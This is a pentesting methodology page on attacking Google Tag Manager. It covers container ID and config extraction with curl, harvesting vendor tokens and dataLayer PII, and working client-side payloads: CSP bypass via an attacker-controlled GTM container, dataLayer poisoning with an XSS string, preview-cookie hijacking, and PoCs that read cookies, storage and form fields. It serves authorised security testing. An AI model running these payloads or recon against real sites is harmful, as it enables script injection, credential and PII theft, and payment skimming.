| CWE | CWE-94, CWE-693 |
| WSTG | WSTG-CLNT-02, WSTG-INFO-02, WSTG-CONF-12 |
| MITRE ATT&CK | T1059.007, T1189 |
| CVSS Range | 3.1-9.6 |
| Tools | curl, nuclei |
| Difficulty | π‘ intermediate |
Google Tag Manager Container Injection
Test for Google Tag Manager vulnerabilities by extracting container IDs, fetching the public container config, analyzing Custom HTML tags and dataLayer for PII leakage, and demonstrating arbitrary JavaScript execution via GTM's trusted domain to bypass CSP and WAF protections.
Quick Referenceβ
| Aspect | Details |
|---|---|
| Attack type | Passive recon + client-side injection via trusted third-party |
| Target | GTM container configs, dataLayer, Custom HTML tags, CSP policies |
| Technique | Container ID extraction, public config fetch, dataLayer inspection, JS injection via GTM |
| Key CWE | CWE-94 (Improper Control of Code Generation), CWE-79 (XSS), CWE-200 (Information Exposure), CWE-693 (Protection Mechanism Failure) |
| Key insight | GTM is a force multiplier, not usually the entry point. It requires a companion vulnerability (XSS, CSRF, credential compromise) but then provides a trusted, stealthy, site-wide JS injection channel that bypasses CSP, WAFs, code review, and CI/CD pipelines. |
Phase 1: Container ID Extractionβ
The container ID (GTM-[A-Z0-9]{4,8}) is the key to the entire attack surface. It appears in predictable locations and requires zero authentication.
Page Source Scanβ
# Extract GTM IDs from page source (covers inline snippet, noscript iframe, and script src)
curl -s "https://TARGET/" | grep -oP 'GTM-[A-Z0-9]{4,8}' | sort -u
The ID appears in three locations in the standard GTM snippet:
- The inline bootstrap IIFE (last argument):
})(window,document,'script','dataLayer','GTM-XXXXXX') - The
<noscript>iframe:googletagmanager.com/ns.html?id=GTM-XXXXXX - Direct script tag:
googletagmanager.com/gtm.js?id=GTM-XXXXXX
Edge Casesβ
| Case | Handling |
|---|---|
| ID loaded from a JS variable | Render page in headless browser, intercept requests to googletagmanager.com |
| Server-side GTM (first-party proxy) | Script src points to e.g. metrics.example.com/gtm.js β regex on ID format still works |
| GTM only on specific pages | Crawl /login, /checkout, /cart, /signup in addition to root |
| Multiple containers | Collect all matches β each is a separate attack surface |
| Custom dataLayer name | Note the l parameter in the snippet (e.g. &l=myDataLayer) β needed for exploitation |
Key Pages to Checkβ
GTM is typically loaded site-wide via a global header. Prioritize pages with sensitive inputs:
# Check key pages for GTM presence
for page in "/" "/login" "/checkout" "/cart" "/signup" "/account" "/contact" "/search"; do
code=$(curl -s -o /dev/null -w "%{http_code}" "https://TARGET${page}")
ids=$(curl -s "https://TARGET${page}" | grep -oP 'GTM-[A-Z0-9]{4,8}' | sort -u | tr '\n' ',')
echo "[${code}] ${page} β ${ids:-none}"
done
Phase 2: Container Config Extractionβ
A single unauthenticated GET request returns the full container configuration β all tags, triggers, variables, vendor endpoints, and Custom HTML source code.
Fetch the Blueprintβ
# Fetch and save container config (public, no auth needed)
curl -s "https://www.googletagmanager.com/gtm.js?id=GTM-XXXXXX" -o container.js
# Extract readable JSON structure (between the first [ and matching ])
# The config is embedded as a JavaScript object in the response
What the Config Revealsβ
The container config is a structured JavaScript object containing:
- Complete tag inventory β every tracking tag, Custom HTML tag, and their full source code
- Vendor account credentials β Google Ads conversion IDs/labels, Facebook Pixel IDs, LinkedIn Partner IDs, CRM tokens, ad platform pixel IDs
- Data layer variable map β every key the container reads, revealing what data flows through the dataLayer (including PII fields)
- Trigger URL patterns β reveals site page architecture without crawling (checkout paths, login pages, admin panels)
- Custom HTML tag code β complete source code of every custom script
Automated Analysisβ
# Check for suspicious patterns in Custom HTML tags
grep -oP 'vtp_html":"[^"]*' container.js | while read -r tag; do
# Decode unicode escapes
decoded=$(echo "$tag" | sed 's/\\u003c/</g; s/\\u003e/>/g; s/\\u0022/"/g; s/\\u0026/\&/g; s/\\n/\n/g')
echo "--- Custom HTML Tag ---"
echo "$decoded"
echo ""
done
# Red flags in Custom HTML tags
echo "=== Red Flags ==="
echo "eval/Function usage:"
grep -c 'eval\|Function(' container.js
echo "Base64 decoding:"
grep -c 'atob\|btoa' container.js
echo "WebSocket usage:"
grep -c 'WebSocket' container.js
echo "Form field selectors (skimmer indicators):"
grep -c 'cc.number\|cc.cvc\|card.number\|billing\|payment' container.js
echo "External script loading:"
grep -c 'createElement.*script\|\.src\s*=' container.js
Extract Vendor Credentialsβ
# Parse common vendor IDs from container config
echo "Google Ads IDs:"
grep -oP 'AW-[0-9]+' container.js | sort -u
echo "Facebook Pixel IDs:"
grep -oP '"[0-9]{15,}"' container.js | sort -u
echo "LinkedIn Partner IDs:"
grep -oP '"[0-9]{5,8}"' container.js | head -10
echo "Generic API keys/tokens:"
grep -oiP '(api.?key|token|secret|auth)[^"]*":\s*"[^"]{10,}"' container.js
Phase 3: Page Source Analysisβ
Supplement the container blueprint with page-level analysis.
Security Header Checkβ
# Check CSP and security headers
curl -sI "https://TARGET/" | grep -iE "content-security-policy|x-frame-options|x-content-type-options|strict-transport"
# Specifically check if GTM is in CSP allowlist
curl -sI "https://TARGET/" | grep -i "content-security-policy" | grep -oP "script-src[^;]*"
Key CSP findings:
*.googletagmanager.cominscript-src= GTM is a trusted script sourceunsafe-inlinepresent = any GTM Custom HTML tag can execute inline JSunsafe-evalpresent = eval-based obfuscation possible- No nonce = GTM scripts trusted without per-request verification
DataLayer Inspectionβ
DataLayer contents are visible in the page source and accessible to all JavaScript on the page, including every GTM tag.
// In browser console or headless browser
// Dump current dataLayer contents
console.log(JSON.stringify(window.dataLayer, null, 2));
// Monitor new dataLayer pushes
var origPush = window.dataLayer.push;
window.dataLayer.push = function() {
console.log('[dataLayer push]', JSON.stringify(arguments));
return origPush.apply(this, arguments);
};
PII fields to look for in dataLayer:
email,userEmail,user_emailuserId,user_id,customerIdphone,phoneNumberfirstName,lastName,namesessionId,sessionTokenorderId,orderTotal,transactionId
DataLayer PII is a standalone finding β no exploitation required. Every third-party tag loaded via GTM can read these values.
Script Inventoryβ
# List all external scripts on the page
curl -s "https://TARGET/" | grep -oP 'src="[^"]*\.js[^"]*"' | sort -u
# Check for SRI (Subresource Integrity)
curl -s "https://TARGET/" | grep -c 'integrity='
# Zero integrity attributes = no protection against compromised vendor CDNs
# Note: GTM cannot use SRI by design, so its absence on gtm.js is expected
# Check consent/cookie banner load order
curl -s "https://TARGET/" | grep -oP '<script[^>]*src="[^"]*"' | head -20
# Scripts loading BEFORE the consent SDK = pre-consent firing
WAF and Defense Fingerprintingβ
# Fingerprint WAF from response headers
curl -sI "https://TARGET/" | grep -iE "server:|x-cdn:|cf-ray|x-akamai|x-amzn|x-sucuri|incap_ses"
# Check for client-side integrity monitoring
curl -s "https://TARGET/" | grep -oiP '(akamaized\.net/pim|jscrambler|px-cdn\.net|datadome|feroot)'
Phase 4: Exploitationβ
GTM is a force multiplier β it requires a companion vulnerability but then provides a trusted, stealthy, site-wide JS injection channel.
Prerequisite: Companion Vulnerabilityβ
GTM exploitation typically chains with one of:
- XSS β reflected or stored XSS lets you execute code that interacts with GTM
- CSRF in GTM plugin β WordPress/Drupal GTM plugins have had CSRF vulns (CVE-2018-1000506, CVE-2025-31683) allowing settings injection
- Credential compromise β compromised GTM account = direct tag injection
- SQL injection β Magento/WooCommerce sites store GTM snippets in CMS DB blocks
CSP Bypass via GTMβ
When the target's CSP allowlists googletagmanager.com (which it must for GTM to function), any XSS can load scripts through this trusted channel:
// If you have XSS and CSP blocks direct script execution,
// but allows googletagmanager.com:
// Option 1: Inject a GTM container snippet pointing to attacker-controlled container
var s = document.createElement('script');
s.src = 'https://www.googletagmanager.com/gtm.js?id=GTM-ATTACKER';
document.head.appendChild(s);
// WAF sees legitimate gtm.js request, CSP allows it
// Option 2: Poison the dataLayer to trigger existing tags maliciously
dataLayer.push({'event': 'custom_trigger', 'payload': '<img src=x onerror=alert(1)>'});
DataLayer Poisoningβ
If the site uses GTM triggers based on dataLayer events, injected data can trigger unintended tag execution:
// Trigger custom events that may fire tags
dataLayer.push({'event': 'purchase', 'transactionId': 'INJECTED', 'value': '0.01'});
dataLayer.push({'event': 'login', 'method': 'injected'});
dataLayer.push({'event': 'form_submit', 'formId': 'contact'});
// If a tag reads a dataLayer variable and writes to a backend (CRM, analytics),
// the injected data flows through the tag into the backend
Preview Mode Abuseβ
GTM preview mode loads an unpublished draft container. Via XSS, force the victim's browser into preview mode:
// Set preview cookies via XSS to load attacker's draft container
document.cookie = "gtm_debug=x;path=/";
document.cookie = "gtm_auth=ATTACKER_AUTH_TOKEN;path=/";
document.cookie = "gtm_preview=ATTACKER_DRAFT_ID;path=/";
// On next page load, victim loads the unpublished (malicious) container
Escalation: Reflected XSS to Stored XSS via GTMβ
Reflected XSS (entry point)
β
βββ Enumerate GTM container (public, no auth)
β
βββ Path A: Steal GTM admin session β Publish malicious tag β Stored XSS for all visitors
βββ Path B: dataLayer β Tag β Backend (CRM/CDP) β Stored XSS when backend renders data
βββ Path C: Set preview cookies β Load unpublished malicious container
βββ Path D: Steal vendor tokens from container β Poison vendor data β Stored XSS via vendor
Critical dependency: Paths BβD depend on what the container is configured to do. Minimal setups (GA pageviews only) offer little. Enterprise sites with dozens of tags shuttling data to backends offer many persistence points.
Phase 5: Proof of Conceptβ
Canary Tag (Proves Arbitrary JS Execution)β
If you have GTM admin access (via credential compromise or CSRF), publish this Custom HTML tag to prove arbitrary JavaScript execution on all pages:
<script>
console.log('[PENTEST] GTM Custom HTML executed', {
timestamp: new Date().toISOString(),
location: window.location.href,
cookies: document.cookie.length + ' chars',
dataLayer: window.dataLayer
});
document.title = '[GTM-INJECTED] ' + document.title;
</script>
This demonstrates:
- Arbitrary JS runs on every page of the site
- Full access to cookies (if not HTTPOnly), DOM, localStorage
- Code deployed via GTM bypasses code review, CI/CD, and most monitoring
- Title change provides visible proof without destructive impact
Cookie/Token Access PoCβ
// Demonstrate access to sensitive client-side data
var findings = {
cookies: document.cookie,
localStorage: Object.keys(localStorage),
sessionStorage: Object.keys(sessionStorage),
dataLayer: window.dataLayer,
forms: Array.from(document.querySelectorAll('input')).map(function(i) {
return {name: i.name, type: i.type, id: i.id};
})
};
console.warn('[PENTEST] Accessible sensitive data:', JSON.stringify(findings, null, 2));
Form Interception PoC (Non-Destructive)β
// Log form submissions β demonstrates e-skimmer capability without exfiltration
document.addEventListener('submit', function(e) {
var fields = {};
e.target.querySelectorAll('input').forEach(function(input) {
if (input.type !== 'hidden') {
fields[input.name || input.id] = input.type + ':' + input.value.length + ' chars';
}
});
console.warn('[PENTEST] Form intercepted by GTM tag:', {
action: e.target.action,
fields: fields,
note: 'A real skimmer would exfiltrate this data to an attacker-controlled server'
});
});
Assess Impactβ
Use these levels to classify the severity of your finding.
Level 1: Information Disclosure (Low)β
Criteria: Container ID exposed and public config reveals non-sensitive metadata (tag inventory, page architecture).
Evidence required: Container ID, fetched config showing tag list and trigger patterns.
Example: "Container GTM-XXXXXX is publicly readable. Config reveals 15 tags, 8 vendor integrations, and site architecture including /admin, /checkout, /api paths."
Level 2: Sensitive Data Exposure (Medium)β
Criteria: DataLayer contains PII, vendor credentials exposed in container config, or CSP allows GTM as script source without nonce.
Evidence required: DataLayer dump showing PII fields, or container config showing API keys/tokens, or CSP header analysis.
Example: "DataLayer pushes user email, phone, and order details on checkout page. These values are readable by all 12 third-party tags loaded via GTM. CSP includes unsafe-inline and allowlists *.googletagmanager.com without nonce."
Level 3: Demonstrated Script Execution (High)β
Criteria: Arbitrary JavaScript execution demonstrated via GTM β either through CSP bypass, dataLayer poisoning triggering unintended behavior, or Custom HTML tag injection.
Evidence required: Console output or DOM change proving code execution, full attack chain documentation.
Example: "XSS on /search combined with GTM CSP bypass allows loading attacker-controlled GTM container. JavaScript executes in the context of the target domain, accessing cookies and DOM."
Level 4: Site-Wide Compromise (Critical)β
Criteria (any of): E-skimmer injection capability on checkout/login pages, credential/payment data exfiltration path demonstrated, full container hijacking, stored XSS via GTM affecting all visitors.
Evidence required: Full attack chain from initial access to demonstrated data capture capability, proof that payment/credential fields are accessible DOM elements (not processor-hosted iframes).
Example: "Compromised GTM account used to publish Custom HTML tag. Tag executes on all pages including checkout. Payment form uses direct DOM input fields (not Stripe Elements), allowing the tag to read card numbers. Demonstrated form interception capturing field names and value lengths."
Common Pitfalls and False Positivesβ
Container ID exposure alone is informational, not a vulnerability. The ID is public by design β it's in the page source of every page using GTM. The finding is what the container config reveals and what can be done with it.
Hosted payment iframes block GTM access. If the site uses Stripe Elements, Braintree hosted fields, or similar processor-hosted iframes, GTM tags cannot read payment card data due to same-origin policy. Check whether payment inputs are direct DOM elements or processor iframes before claiming e-skimmer risk.
GTM cannot use SRI by design. The absence of integrity attributes on gtm.js is expected behavior, not a finding.
DataLayer PII may be intentional. Some sites deliberately push user data to the dataLayer for analytics. The finding is when this data is accessible to untrusted third-party tags, or when consent is not properly enforced.
Preview mode requires auth tokens. GTM preview cookies need valid gtm_auth and gtm_preview values. These are not guessable β they must be obtained via XSS on a GTM admin or leaked in source code.
Real-World Casesβ
| Campaign | Technique | Scale |
|---|---|---|
| GrelosGTM (2020βongoing) | Injected own GTM container via Magento SQLi/RCE, loaded skimmer over WebSocket | 300+ e-commerce sites |
| ATMZOW (2015βpresent) | Embedded skimmer directly in victim's GTM Custom HTML tags, multi-layer Base64 obfuscation | 165,000+ stolen cards |
| Magento GTM Skimmer (Feb 2025) | Malware in CMS database, not filesystem β invisible to file integrity monitoring | 3β6 confirmed sites |
| OpenCart Mass Compromise (Jul 2025) | Payload disguised as gtm.js, swapped checkout forms with cloned look-alikes | Thousands of stores |
| Metronet Tag Manager CSRF (CVE-2018-1000506) | WordPress plugin accepted GTM settings without CSRF nonce β stored XSS | Any site using plugin |
Toolsβ
curl (Primary)β
Two HTTP requests yield the full blueprint:
# Step 1: Extract container ID from target
curl -s "https://TARGET/" | grep -oP 'GTM-[A-Z0-9]{4,8}' | sort -u
# Step 2: Fetch full container config
curl -s "https://www.googletagmanager.com/gtm.js?id=GTM-XXXXXX" -o container.js
Browser DevToolsβ
For dataLayer inspection and runtime analysis:
- Console:
JSON.stringify(window.dataLayer, null, 2)β dump dataLayer - Network tab: Filter by
googletagmanager.comβ see all GTM requests - GTM Preview mode: Append
?gtm_debug=1or use Tag Assistant β see tag firing order
nucleiβ
# Check for GTM presence and known vulnerable GTM plugins
nuclei -u "https://TARGET/" -t technologies/google-tag-manager-detect.yaml
nuclei -u "https://TARGET/" -t cves/ -tags wordpress,gtm
Prioritizationβ
Test these first (highest standalone value)β
- Container config extraction and analysis β zero-auth, zero-interaction passive recon. Every site with GTM is testable. Yields standalone findings (PII leakage, exposed credentials, consent violations) plus maps the entire attack surface.
- DataLayer PII leakage β dump
window.dataLayeron login, checkout, and account pages. PII flowing to third-party tags is a privacy/compliance finding requiring no exploit. - CSP analysis for GTM bypass potential β check if CSP allowlists
*.googletagmanager.comwithunsafe-inline. If so, any XSS finding on the site can be escalated via GTM.
Test these if time permitsβ
- Custom HTML tag code review β analyze all Custom HTML tags in the container config for obfuscated code, external script loading, or suspicious patterns.
- DataLayer poisoning β requires XSS as a companion. Test if injected dataLayer events trigger tags that write to backends.
- GTM plugin CSRF β if the site uses WordPress/Drupal GTM plugins, test for CSRF on settings endpoints.
Skip ifβ
- No GTM container ID found on any page
- Site uses a different tag manager (Adobe Launch, Tealium iQ) β similar concepts apply but different tooling needed
- Container config shows only a basic GA pageview tag with no Custom HTML β attack surface is minimal
Asset criticalityβ
Prioritize by data sensitivity: checkout pages (payment data) > login pages (credentials) > account pages (PII) > marketing pages (analytics only). GTM on a checkout page with direct DOM payment fields is always a critical finding path.